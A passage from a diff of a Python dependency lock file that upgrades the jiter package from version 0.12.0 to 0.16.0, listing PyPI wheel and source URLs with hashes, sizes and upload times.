- { url = "https://files.pythonhosted.org/packages/02/68/736821e52ecfdeeb0f024b8ab01b5a229f6b9293bbdb444c27efade50b0f/jiter-0.12.0-cp314-cp314-win_arm64.whl", hash = "sha256:d72f3b5a432a4c546ea4bedc84cce0c3404874f1d1676260b9c7f048a9855451", size = 185529, upload-time = "2025-11-09T20:48:29.125Z" },
- { url = "https://files.pythonhosted.org/packages/30/61/12ed8ee7a643cce29ac97c2281f9ce3956eb76b037e88d290f4ed0d41480/jiter-0.12.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:e6ded41aeba3603f9728ed2b6196e4df875348ab97b28fc8afff115ed42ba7a7", size = 318974, upload-time = "2025-11-09T20:48:30.87Z" },
- { url = "https://files.pythonhosted.org/packages/2d/c6/f3041ede6d0ed5e0e79ff0de4c8f14f401bbf196f2ef3971cdbe5fd08d1d/jiter-0.12.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a947920902420a6ada6ad51892082521978e9dd44a802663b001436e4b771684", size = 345932, upload-time = "2025-11-09T20:48:32.658Z" },
- { url = "https://files.pythonhosted.org/packages/d5/5d/4d94835889edd01ad0e2dbfc05f7bdfaed46292e7b504a6ac7839aa00edb/jiter-0.12.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:add5e227e0554d3a52cf390a7635edaffdf4f8fce4fdbcef3cc2055bb396a30c", size = 367243, upload-time = "2025-11-09T20:48:34.093Z" },
- { url = "https://files.pythonhosted.org/packages/fd/76/0051b0ac2816253a99d27baf3dda198663aff882fa6ea7deeb94046da24e/jiter-0.12.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f9b1cda8fcb736250d7e8711d4580ebf004a46771432be0ae4796944b5dfa5d", size = 479315, upload-time = "2025-11-09T20:48:35.507Z" },
- { url = "https://files.pythonhosted.org/packages/70/ae/83f793acd68e5cb24e483f44f482a1a15601848b9b6f199dacb970098f77/jiter-0.12.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:deeb12a2223fe0135c7ff1356a143d57f95bbf1f4a66584f1fc74df21d86b993", size = 380714, upload-time = "2025-11-09T20:48:40.014Z" },
- { url = "https://files.pythonhosted.org/packages/b1/5e/4808a88338ad2c228b1126b93fcd8ba145e919e886fe910d578230dabe3b/jiter-0.12.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c596cc0f4cb574877550ce4ecd51f8037469146addd676d7c1a30ebe6391923f", size = 365168, upload-time = "2025-11-09T20:48:41.462Z" },
- { url = "https://files.pythonhosted.org/packages/0c/d4/04619a9e8095b42aef436b5aeb4c0282b4ff1b27d1db1508df9f5dc82750/jiter-0.12.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5ab4c823b216a4aeab3fdbf579c5843165756bd9ad87cc6b1c65919c4715f783", size = 387893, upload-time = "2025-11-09T20:48:42.921Z" },
- { url = "https://files.pythonhosted.org/packages/17/ea/d3c7e62e4546fdc39197fa4a4315a563a89b95b6d54c0d25373842a59cbe/jiter-0.12.0-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:e427eee51149edf962203ff8db75a7514ab89be5cb623fb9cea1f20b54f1107b", size = 520828, upload-time = "2025-11-09T20:48:44.278Z" },
- { url = "https://files.pythonhosted.org/packages/cc/0b/c6d3562a03fd767e31cb119d9041ea7958c3c80cb3d753eafb19b3b18349/jiter-0.12.0-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:edb868841f84c111255ba5e80339d386d937ec1fdce419518ce1bd9370fac5b6", size = 511009, upload-time = "2025-11-09T20:48:45.726Z" },
- { url = "https://files.pythonhosted.org/packages/aa/51/2cb4468b3448a8385ebcd15059d325c9ce67df4e2758d133ab9442b19834/jiter-0.12.0-cp314-cp314t-win32.whl", hash = "sha256:8bbcfe2791dfdb7c5e48baf646d37a6a3dcb5a97a032017741dea9f817dca183", size = 205110, upload-time = "2025-11-09T20:48:47.033Z" },
- { url = "https://files.pythonhosted.org/packages/b2/c5/ae5ec83dec9c2d1af805fd5fe8f74ebded9c8670c5210ec7820ce0dbeb1e/jiter-0.12.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2fa940963bf02e1d8226027ef461e36af472dea85d36054ff835aeed944dd873", size = 205223, upload-time = "2025-11-09T20:48:49.076Z" },
- { url = "https://files.pythonhosted.org/packages/97/9a/3c5391907277f0e55195550cf3fa8e293ae9ee0c00fb402fec1e38c0c82f/jiter-0.12.0-cp314-cp314t-win_arm64.whl", hash = "sha256:506c9708dd29b27288f9f8f1140c3cb0e3d8ddb045956d7757b1fa0e0f39a473", size = 185564, upload-time = "2025-11-09T20:48:50.376Z" },
- { url = "https://files.pythonhosted.org/packages/fe/54/5339ef1ecaa881c6948669956567a64d2670941925f245c434f494ffb0e5/jiter-0.12.0-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:4739a4657179ebf08f85914ce50332495811004cc1747852e8b2041ed2aab9b8", size = 311144, upload-time = "2025-11-09T20:49:10.503Z" },
- { url = "https://files.pythonhosted.org/packages/27/74/3446c652bffbd5e81ab354e388b1b5fc1d20daac34ee0ed11ff096b1b01a/jiter-0.12.0-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:41da8def934bf7bec16cb24bd33c0ca62126d2d45d81d17b864bd5ad721393c3", size = 305877, upload-time = "2025-11-09T20:49:12.269Z" },
- { url = "https://files.pythonhosted.org/packages/a1/f4/ed76ef9043450f57aac2d4fbeb27175aa0eb9c38f833be6ef6379b3b9a86/jiter-0.12.0-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9c44ee814f499c082e69872d426b624987dbc5943ab06e9bbaa4f81989fdb79e", size = 340419, upload-time = "2025-11-09T20:49:13.803Z" },
- { url = "https://files.pythonhosted.org/packages/21/01/857d4608f5edb0664aa791a3d45702e1a5bcfff9934da74035e7b9803846/jiter-0.12.0-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cd2097de91cf03eaa27b3cbdb969addf83f0179c6afc41bbc4513705e013c65d", size = 347212, upload-time = "2025-11-09T20:49:15.643Z" },
- { url = "https://files.pythonhosted.org/packages/cb/f5/12efb8ada5f5c9edc1d4555fe383c1fb2eac05ac5859258a72d61981d999/jiter-0.12.0-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:e8547883d7b96ef2e5fe22b88f8a4c8725a56e7f4abafff20fd5272d634c7ecb", size = 309974, upload-time = "2025-11-09T20:49:17.187Z" },
- { url = "https://files.pythonhosted.org/packages/85/15/d6eb3b770f6a0d332675141ab3962fd4a7c270ede3515d9f3583e1d28276/jiter-0.12.0-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:89163163c0934854a668ed783a2546a0617f71706a2551a4a0666d91ab365d6b", size = 304233, upload-time = "2025-11-09T20:49:18.734Z" },
- { url = "https://files.pythonhosted.org/packages/8c/3e/e7e06743294eea2cf02ced6aa0ff2ad237367394e37a0e2b4a1108c67a36/jiter-0.12.0-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d96b264ab7d34bbb2312dedc47ce07cd53f06835eacbc16dde3761f47c3a9e7f", size = 338537, upload-time = "2025-11-09T20:49:20.317Z" },
- { url = "https://files.pythonhosted.org/packages/2f/9c/6753e6522b8d0ef07d3a3d239426669e984fb0eba15a315cdbc1253904e4/jiter-0.12.0-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c24e864cb30ab82311c6425655b0cdab0a98c5d973b065c66a3f020740c2324c", size = 346110, upload-time = "2025-11-09T20:49:21.817Z" },
+version = "0.16.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1d/1f/10936e16d8860c70698a1aa939a46aa0224813b782bce4e000e637da0b2d/jiter-0.16.0.tar.gz", hash = "sha256:7b24c3492c5f4f84a37946ad9cf504910cf6a782d6a4e0689b6673c5894b4a1c", size = 176431, upload-time = "2026-06-29T13:05:13.657Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/76/d8/b959609e44012a42b1f3e5ba98ea3b33c7e41e6d4b77cd8f00fd19b1d3ad/jiter-0.16.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:c5fc4f8def331036a7b8e981b4347ebe409981edbc8308a5ea842b8c3614fa6c", size = 310082, upload-time = "2026-06-29T13:02:31.356Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/3d/4d7f5667ea0e0548534ba880b84bb3d12924fd133aa83ad6c6c80fca3d76/jiter-0.16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5a71d0d2014c3275043e1170bf3d4e771493cb0dcf07be54c567155f4d8ee64b", size = 315643, upload-time = "2026-06-29T13:02:33.204Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/83/bed2dcb5c9f3e1ccfcbc67dda48265fe7d5ad0c9cadda5fe95f6e3b87f94/jiter-0.16.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:741eed508c233a76313a1c7b001f8f21b82f14327e9196ae8bd29a2cc164ae84", size = 341363, upload-time = "2026-06-29T13:02:34.853Z" },
+ { url = "https://files.pythonhosted.org/packages/f4/2f/6bb3c3dda668ebc0445689c81a2b0f26a82b10843d67ed9c9b2c3edc177f/jiter-0.16.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3fb7bc819187b56dc48aa5c833aaf92257da8e07efdb9306156667bd2eeb491c", size = 365483, upload-time = "2026-06-29T13:02:36.295Z" },
+ { url = "https://files.pythonhosted.org/packages/92/35/8a045ccb39164e70dcdae696413b661771f148b68b12b175c3a04d901937/jiter-0.16.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7c9610fd25ebccb43fca584136f5c2fbb26802447eccd430dfdbab95a0fd5126", size = 461219, upload-time = "2026-06-29T13:02:38.116Z" },
+ { url = "https://files.pythonhosted.org/packages/e7/99/22292dbbf0ed0c610cfe5ddc7f3bd67237a412f121318f865196e62a07bd/jiter-0.16.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4a1d68ff7ca1d3b5dee20a97a3decda7d5f15003823bf6d140c81f8561d3bc5c", size = 374905, upload-time = "2026-06-29T13:02:40.357Z" },
+ { url = "https://files.pythonhosted.org/packages/29/ac/2f55ccb1f0eeafa6d89d24caf52f6f0944a59290ee199e9ade62177dca42/jiter-0.16.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fb08c276dd02dac3a284acdd02cacc630d2e3cd6572a4b85519f35cbd133c3de", size = 348320, upload-time = "2026-06-29T13:02:41.923Z" },
+ { url = "https://files.pythonhosted.org/packages/50/e3/7d88b9174c40064fabc07c84a9b62e6b10f5644562ec0e0a29392edbe978/jiter-0.16.0-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:8fc4d94713c4697347e38faf7d6ef91547c142219bdcfc7220c4870879974244", size = 356519, upload-time = "2026-06-29T13:02:43.436Z" },
+ { url = "https://files.pythonhosted.org/packages/27/57/c4a33aeef513a9d5e26e31534e0bcc752d6ea0e54c94ddb7b68bade669c2/jiter-0.16.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1a0f05e229edb29e68cdd0ccb83cea13b64263416120cf943767a6fd72e6787f", size = 394204, upload-time = "2026-06-29T13:02:44.987Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/70/c6c23e76ebb3766b111bc399437bbc9f870a76e2a92e10b2a5f561d57372/jiter-0.16.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:2c842cbf374a8daf50b2c04212995bee34ca2ac2cdc29a901b4cdb072c9c4131", size = 521477, upload-time = "2026-06-29T13:02:46.724Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/d3/0001c8c0c5976af2625bb1cfb1895e8ec693b6589fe4574b8e6fc2c85501/jiter-0.16.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:5ed466aee31294d7cdcd4d37dfe5c42c97bc29d9a5f00eacf24504358309cb9b", size = 552187, upload-time = "2026-06-29T13:02:48.144Z" },
+ { url = "https://files.pythonhosted.org/packages/f6/76/311b718e07e85740e48619c0632b36f7e0b8d113984499e436452ed13a9a/jiter-0.16.0-cp310-cp310-win32.whl", hash = "sha256:b42e9ff5376819c053da25809a8d4b6fa6e473b4856ebe42e298ac958be3d7f9", size = 206513, upload-time = "2026-06-29T13:02:49.515Z" },
+ { url = "https://files.pythonhosted.org/packages/db/7f/ac680eeb0777dc0eb7dc824800ba27880d7f6bc712e362d34ad8ee559f36/jiter-0.16.0-cp310-cp310-win_amd64.whl", hash = "sha256:10438939205546132189c8e74a2d536a707841f3a25cd7c74ee91fe503407a26", size = 199505, upload-time = "2026-06-29T13:02:50.829Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/3f/fae6cc967d120ec89e31c5418a51176d8278b3087fbb384a9176754f353c/jiter-0.16.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:67fddeda1688f0cce2d2ae83ccf8a80f79936f2d2997d6cc2261f82fdb54a4d3", size = 309289, upload-time = "2026-06-29T13:02:52.301Z" },
+ { url = "https://files.pythonhosted.org/packages/c8/e3/97c6c3562c077f6247d6e6ce5c82562500b6316c0d928e97e106b7a1321a/jiter-0.16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c90c0f63df322be920eda6ce622e3083d8906ba267f8220fe7873213b8b4430e", size = 315181, upload-time = "2026-06-29T13:02:53.964Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/89/d8d073f8aa2667e46c6c0873f86fe4a512bba4293cc730f626a076211a62/jiter-0.16.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:64c0203212098470032aabcde9356fc168f377aade3e43def61dfe17e92f2037", size = 340939, upload-time = "2026-06-29T13:02:55.412Z" },
+ { url = "https://files.pythonhosted.org/packages/87/c9/db4fda3ed73fb864139305e935e5b8b38a5a24692a5a9dd356c22f1b9c8d/jiter-0.16.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:12288303c9844e61e1651d02a9a6f6633e47d39f897d6991d1427161ce6b746e", size = 364932, upload-time = "2026-06-29T13:02:57.28Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/74/52b5e86241057f52ddd7c9a580f90effb51f9d06239f6fc612279b91a838/jiter-0.16.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cf109d010b4b05a105afb3d43be36a21322d345ad3111e13d15f680afef0e5b", size = 461132, upload-time = "2026-06-29T13:02:58.994Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/87/544a700f7447c1f31c5d7833821a4daa5683165c2d5a094fbf5b5800c3dc/jiter-0.16.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:62c1b7fe1f77925acf5af68b6140b8810fa87dfd4dc0a9c8568ec2fa2a10429c", size = 374857, upload-time = "2026-06-29T13:03:00.455Z" },
+ { url = "https://files.pythonhosted.org/packages/40/cd/0fcc3f7d39183674d5bfa9ec640faaeb506c60be7c8f94625dfba366e37c/jiter-0.16.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8597d23c87f59294f83bcb6229b9ed1fccee13dbba967b46930d2f1759466fee", size = 347053, upload-time = "2026-06-29T13:03:02.045Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/ae/c7e64e7932ad597fa395b61440b249ada6366716e25c6e08dd2afbd021e6/jiter-0.16.0-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:3126a5dbad56401989ac769aca0cb56005bfb3e2366eea0ca99d1a91c3c1ee03", size = 356153, upload-time = "2026-06-29T13:03:03.706Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/1c/1c719044f14da814e1a060191ab19b96f3e99207bc5b4bfc6d6be34b3f80/jiter-0.16.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c4b4717bdb35ae456f831a6b08d01880fff399887a6bbc526a583a406e484eea", size = 393956, upload-time = "2026-06-29T13:03:05.165Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/dc/7b2f303a2847207e265503853a2d964a55354cffd62a5f2936c155486798/jiter-0.16.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:adff21bc78edfe086c15eb495b900306076de378dc2337c132401fc39bd79c91", size = 521081, upload-time = "2026-06-29T13:03:06.886Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/5f/501cf6e1e09caeb420195179ffc6f62aca603f1220ec53fd80d0d70b3e56/jiter-0.16.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:dab907db06fc593645e73109acf4581ba5b548897d28b9348dc41ddc8343b2d3", size = 552085, upload-time = "2026-06-29T13:03:08.339Z" },
+ { url = "https://files.pythonhosted.org/packages/79/54/aa5be86520113b79455c3877f3d1f07a348098df4083ba3688e9537e52dd/jiter-0.16.0-cp311-cp311-win32.whl", hash = "sha256:560b2cf3fb03240cd34f27409a238547488708f05b7c3924f571a60422251ec7", size = 206755, upload-time = "2026-06-29T13:03:09.653Z" },
+ { url = "https://files.pythonhosted.org/packages/64/ec/2feb893eb330bd69b413866f4d5daada33c3962f1c6f270c91ca2d87fdf9/jiter-0.16.0-cp311-cp311-win_amd64.whl", hash = "sha256:e431cfc9caf44c1d5459ff77d4e64cbf85fddb6a35dad836a15c6a9ec23087c1", size = 199155, upload-time = "2026-06-29T13:03:10.979Z" },
+ { url = "https://files.pythonhosted.org/packages/b9/9c/ca040d94415048a3666fc237774df8151c96f8d2b661cbe3b184acc95876/jiter-0.16.0-cp311-cp311-win_arm64.whl", hash = "sha256:2a8e9e39cf083016137aa5cadafe3188adc2ba6ba1fbf1e5d18889ad3e9ad056", size = 194403, upload-time = "2026-06-29T13:03:12.341Z" },
+ { url = "https://files.pythonhosted.org/packages/83/2b/52ace16ed031354f0539749a49e4bf33797d82bea5137910835fa4b09793/jiter-0.16.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:67c3bc1760f8c99d805dcab4e644027142a53b1d5d861f18780ebdbd5d40b72a", size = 306943, upload-time = "2026-06-29T13:03:14.035Z" },
+ { url = "https://files.pythonhosted.org/packages/94/2e/34957c2c1b661c252ba9bcc60ae0bddc27e0f7202c6073326a13c5390eec/jiter-0.16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5af7780e4a26bd7d0d989592bf9ef12ebf806b74ab709223ecca37c749872ea9", size = 307779, upload-time = "2026-06-29T13:03:15.418Z" },
+ { url = "https://files.pythonhosted.org/packages/88/6c/59bd309cab4460c54cf1079f3eb7fe7af6a4c895c5c957a53378693bad2b/jiter-0.16.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d5bf78d0e05e45cfdd66558893938d59afe3d1b1a824a202039b20e607d25a72", size = 335826, upload-time = "2026-06-29T13:03:17.11Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/8c/f5ef7b65f0df47afa16596969defb281ebb86e96df346d62be6fd853d620/jiter-0.16.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f4444a83f946605990c98f625cdd3d2725bfb818158760c5748c653170a20e0e", size = 362573, upload-time = "2026-06-29T13:03:18.781Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/0b/ace4354da061ee38844a0c27dc2c21eecd27aea119e8da324bea987522d0/jiter-0.16.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3a23f0e4f957e1be65752d2dfac9a5a06b1917af8dc85deb639c3b9d02e31290", size = 457979, upload-time = "2026-06-29T13:03:20.293Z" },
+ { url = "https://files.pythonhosted.org/packages/55/40/c0253d3772eb9dcd8e6606ee9b2d53ec8e5b814589c47f140aa585f21eaa/jiter-0.16.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c22a488f7b9218e245a0025a9ba6b100e2e54700831cf4cf16833a27fba3ad01", size = 372302, upload-time = "2026-06-29T13:03:21.739Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/d2/4839422241aa12860ce597b20068727094ba0bc480723c74924ca5bad483/jiter-0.16.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46add52f4ad47a08bfb1219f3e673da972191489a33016edefdb5ea55bfa8c48", size = 343805, upload-time = "2026-06-29T13:03:23.384Z" },
+ { url = "https://files.pythonhosted.org/packages/e2/59/e196888a05befdda7dbe299b722d56f2f6eec65402bc34c0a3306d595feb/jiter-0.16.0-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:9c8a956fd72c2cf1e730d01ea080341f13aa0a97a4a33b51abebe725b7ae9ca9", size = 351107, upload-time = "2026-06-29T13:03:24.815Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/74/4cd9e0fca65232136400354b630fbfcd2de634e22ccbb96567725981b548/jiter-0.16.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:561926e0573ffe4a32498420a76d64b16c513e1ab413b9d28158a8764ac701e5", size = 388441, upload-time = "2026-06-29T13:03:26.266Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/8c/554691e48bc711299c0a293dd8a6179e24b2d66a54dc295421fcf64569c0/jiter-0.16.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:44d019fa8cdaf89bf29c71b39e3712143fdd0ac76725c6ef954f9957a5ea8730", size = 516354, upload-time = "2026-06-29T13:03:28.02Z" },
+ { url = "https://files.pythonhosted.org/packages/a4/cb/01e9d69dc2cc6759d4f91e230b34489c4fdb2518992650633f9e20bece89/jiter-0.16.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:0df91907609837f33341b8e6fe73b95991fdaa57caf1a0fbd343dffe826f386f", size = 547880, upload-time = "2026-06-29T13:03:29.534Z" },
+ { url = "https://files.pythonhosted.org/packages/79/70/2953195f1c6ad00f49fa67e13df7e60acb3dd4f387101bc15abccddd905e/jiter-0.16.0-cp312-cp312-win32.whl", hash = "sha256:51d7b836acb0108d7c77df1742332cac2a1fa04a74d6dacec46e7091f0e91274", size = 203473, upload-time = "2026-06-29T13:03:31.025Z" },
+ { url = "https://files.pythonhosted.org/packages/2d/05/2909a8b10699a4d560f8c502b6b2c5f3991b682b1922c1eedda242b225bd/jiter-0.16.0-cp312-cp312-win_amd64.whl", hash = "sha256:1878349266f8ee36ecb1375cc5ba2f115f35fd9f0a1a4119e725e379126647f7", size = 196905, upload-time = "2026-06-29T13:03:32.472Z" },
+ { url = "https://files.pythonhosted.org/packages/e9/a9/6b82bb1c8d7790d602489b967b982a909e5d092875a6c2ade96444c8dfc5/jiter-0.16.0-cp312-cp312-win_arm64.whl", hash = "sha256:2ed5738ae4af18271a51a528b8811b0cbfa4a1858de9d83359e4169855d6a331", size = 190618, upload-time = "2026-06-29T13:03:34.672Z" },
+ { url = "https://files.pythonhosted.org/packages/91/c0/555fc60473d30d66894ba825e63615e3be7524fac23858356afa7a38906c/jiter-0.16.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:41977aa5654023948c2dae2a81cbf9c43343954bef1cd59a154dd15a4d84c195", size = 306203, upload-time = "2026-06-29T13:03:36.243Z" },
+ { url = "https://files.pythonhosted.org/packages/d0/2b/c3eaf16f5d7c9bad66ea32f40a95bd169b29a91217fcc7f081375157e99c/jiter-0.16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d28bb3c26762358dadf3e5bf0bccd29ae987d65e6988d2e6f49829c76b003c09", size = 306489, upload-time = "2026-06-29T13:03:37.846Z" },
+ { url = "https://files.pythonhosted.org/packages/96/3f/02fdfc6705cad96127d883af5c34e4867f554f29ec7705ec1a46156400a9/jiter-0.16.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0542a7189c26920778658fc8fcf2af8bae05bae9924577f71804acef37996536", size = 335453, upload-time = "2026-06-29T13:03:39.221Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/a6/e4bda5920d4b0d7c5dfb7174ce4a6b2e4d3e11c9162c452ef0eab4cdbdbd/jiter-0.16.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8fb8de1e23a0cb2a7f53c335049c7b72b6db41aa6227cdcc0972a1de5cb39450", size = 361625, upload-time = "2026-06-29T13:03:40.597Z" },
+ { url = "https://files.pythonhosted.org/packages/b7/97/4e6b59b2c6e55cbb3e183595f81ad65dcfb21c915fee5e19e335df21bc55/jiter-0.16.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b72d0b2990ca754a9102779ac98d8597b7cb31678958562214a007f909eab78e", size = 456958, upload-time = "2026-06-29T13:03:42.074Z" },
+ { url = "https://files.pythonhosted.org/packages/15/e0/97e9557686d2f94f4b93786eccb7eed28e9228ad132ea8237f44727314a7/jiter-0.16.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d5f91b1c27fc22a57993d5a5cb8a627cb8ed4b10502716fac1ffbfe1d19d84e8", size = 372017, upload-time = "2026-06-29T13:03:43.658Z" },
+ { url = "https://files.pythonhosted.org/packages/0f/94/db768b6938e0df35c86beeba3dfbbb025c9ee5c19e1aa271f2396e50864d/jiter-0.16.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c682bea068a90b764577bdb78a60a4c1d1606daf9cd4c893832a37c7cc9d9026", size = 343320, upload-time = "2026-06-29T13:03:45.226Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/d6/5a59d938244a30735fe62d9433fd325f9021ea29d89780ea4596ea93bc89/jiter-0.16.0-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:8d031aabecc4f1b6276adfb42e3aabb77c89d468bf616600e8d3a11328929053", size = 350520, upload-time = "2026-06-29T13:03:46.671Z" },
+ { url = "https://files.pythonhosted.org/packages/67/f8/c4a857f49c9af125f6bbcac7e3eee7f7978ed89682833062e2dbf62576b1/jiter-0.16.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:eab2cd170150e70153de16896a1774e3a1dca80154c56b54d7a812c479a7165e", size = 387550, upload-time = "2026-06-29T13:03:48.361Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/d6/5fbc2f7d6b67b754caa61a993a2e626e815dec47ffc2f9e35f01adfebec7/jiter-0.16.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:6edb63a46e65a82c26800a868e49b2cac30dd5a4218b88d74bc2c848c8ad60bb", size = 515424, upload-time = "2026-06-29T13:03:49.881Z" },
+ { url = "https://files.pythonhosted.org/packages/ed/54/284f0164b64a5fed915fea6ba7e9ba9b3d8d37c67d59cf2e3bb99d45cdfe/jiter-0.16.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:659039cc50b5addcc35fcc87ae2c1833b7c0a8e5326ef631a75e4478447bcf84", size = 546981, upload-time = "2026-06-29T13:03:51.363Z" },
+ { url = "https://files.pythonhosted.org/packages/13/c5/2a467585a576594384e1d2c43e1224deaafc085f24e243529cf98beef8e1/jiter-0.16.0-cp313-cp313-win32.whl", hash = "sha256:c9c53be232c2e206ef9cdbad81a48bfa74c3d3f08bcf8124630a8a748aad993e", size = 202853, upload-time = "2026-06-29T13:03:53.015Z" },
+ { url = "https://files.pythonhosted.org/packages/88/6a/de61d04b9eec69c71719968d2f716532a3bc121170c44a39e14979c6be81/jiter-0.16.0-cp313-cp313-win_amd64.whl", hash = "sha256:baad945ed47f163ad833314f8e3288c396118934f94e7bbb9e243ce4b341a4fd", size = 196160, upload-time = "2026-06-29T13:03:54.447Z" },
+ { url = "https://files.pythonhosted.org/packages/19/4b/b390ed59bafb3f31d008d1218578f10327714484b334439947f7e5b11e7f/jiter-0.16.0-cp313-cp313-win_arm64.whl", hash = "sha256:3c1fd2dbe1b0af19e987f03fe66c5f5bd105a2229c1aff4ab14890b24f41d21a", size = 189862, upload-time = "2026-06-29T13:03:55.754Z" },
+ { url = "https://files.pythonhosted.org/packages/a7/89/bc4f1b57d5da938fd344a466396541e586d161320d70bffd929aaafcd8f4/jiter-0.16.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:b2c61484666ad42726029af0c00ef4541f0f3b5cdc550221f56c2343208018ee", size = 308239, upload-time = "2026-06-29T13:03:57.205Z" },
+ { url = "https://files.pythonhosted.org/packages/65/7a/c415453e5213001bf3b411ff65dec3d303b0e76a4a2cfea9768cd4960994/jiter-0.16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:63efadc657488f45db1c676d81e704cac2abf3fdb892def1faea61db053127e2", size = 308928, upload-time = "2026-06-29T13:03:58.643Z" },
